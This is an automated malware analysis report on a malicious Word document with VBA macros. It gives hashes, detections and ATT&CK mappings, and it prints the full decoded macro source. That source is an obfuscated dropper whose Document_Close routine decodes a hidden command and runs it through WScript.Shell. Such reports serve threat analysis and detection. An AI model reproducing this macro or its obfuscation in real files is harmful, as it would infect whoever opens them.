Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a51dbcb87d67fc1e…

MALICIOUS

Office (OOXML)

36.9 KB Created: 2017-10-25 18:34:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2020-05-25
MD5: 0b42241d62892e79ba105f81e2132c7c SHA-1: cd1d007ec54c80fd222d6e7fb847546af539deb7 SHA-256: a51dbcb87d67fc1edb0be26d35a632140383b47d2ba16c053825b551cf152f3d
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros. Heuristics indicate the use of Shell() and WScript.Shell, suggesting the execution of external commands. The Document_Close subroutine attempts to run a long, obfuscated string using the livrea function, which in turn calls WScript.Shell.Run. This indicates the macro is designed to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6386533-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6386533-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      If Len(arazzo) < 4774 Then
        CreateObject("WScript.Shell").Run arazzo, vbHide * 4
      End If
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      If Len(arazzo) < 4774 Then
        CreateObject("WScript.Shell").Run arazzo, vbHide * 4
      End If
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2010/mainIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2690 bytes
SHA-256: 4d6c32bb953d4523a2c8c9d69302b9eeb8bb051949eb1ea9df46860ce7e63291
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function utopia(ByVal armonia As Integer) As String
 duraturo = Array("x", "\", ":", ";", "B", "$", "S", "a", "r", ".", "l", "O", "q", "t", "P", "n", "C", "s", "w", "A", "+", "J", "o", "?", "j", "y", "g", "/", "D", "h", "e", "'", "m", ",", "=", "d", "b", "E", "-", "p", "v", "c", "k", "X", "i", "T", "F", ")", " ", "N", "f", "L", "(", "W", "z")
 Dim arringa As Integer
 
 For arringa = LBound(duraturo) To UBound(duraturo)
   If arringa = armonia Then
    utopia = duraturo(arringa)
   End If
 Next
 
End Function


Public Function livrea(arazzo As String)
  If Len(arazzo) < 4774 Then
    CreateObject("WScript.Shell").Run arazzo, vbHide * 4
  End If
End Function

Sub Document_Close()
 feralo = valico("392218300817293010104838492237004413483837003041480425390717174838162232320715354852493018381136243041134806251713303209493013095330361610443015134709282218151022073546441030523129131339022727352244241250121529183012183039073907221709412232270606271307154217091054323133480530154002191414281945194820483101514337215311093000303147034806130708133814082241301717480530154002191414281945193101514337215311093000303103485249301838113624304113480625171330320949301309533036161044301513470928221815102207350613084415265231291313390227273522442412501215291830121830390739072217094122322717093929392344353413071542173147")
 Application.Run "livrea", feralo
End Sub

Function enoteca(ByVal esame, ByVal diffuso) As String
 
 odorare = LTrim(vbNullString) & vbNullString
 romantico = Array(esame, diffuso)
 
 For mannaro = 0 To UBound(romantico)
   odorare = odorare + vbNullString + romantico(mannaro) + vbNullString
 Next
 
 enoteca = odorare
End Function

Function valico(Optional sinusoide As String, Optional sinusoide2)
  tulipano = frollino(sinusoide)
  iterare = Trim(vbNullString) & vbNullString

  For arringa = 0 To Len(sinusoide)
    If (arringa + 1) <= UBound(tulipano) Then
    vigneto = tulipano(arringa + 1)
    riciclato = tulipano(arringa)
    attivare = Int(riciclato + vigneto)
    irlanda = utopia(attivare)
    iterare = enoteca(iterare, irlanda)
    arringa = arringa + 1
    End If
  Next
  
  valico = iterare
End Function


Function frollino(cupola As String, Optional baraonda As Integer) As Variant
    frollino = Split(Left(StrConv(cupola, vbUnicode), Len(StrConv(cupola, vbUnicode)) - 1), vbNullChar)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: dec270a68a598d9fae42718e4102303bc8a1e620a78d840bd0f00b1438992a49
Detection
ClamAV: Doc.Dropper.Agent-6386533-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).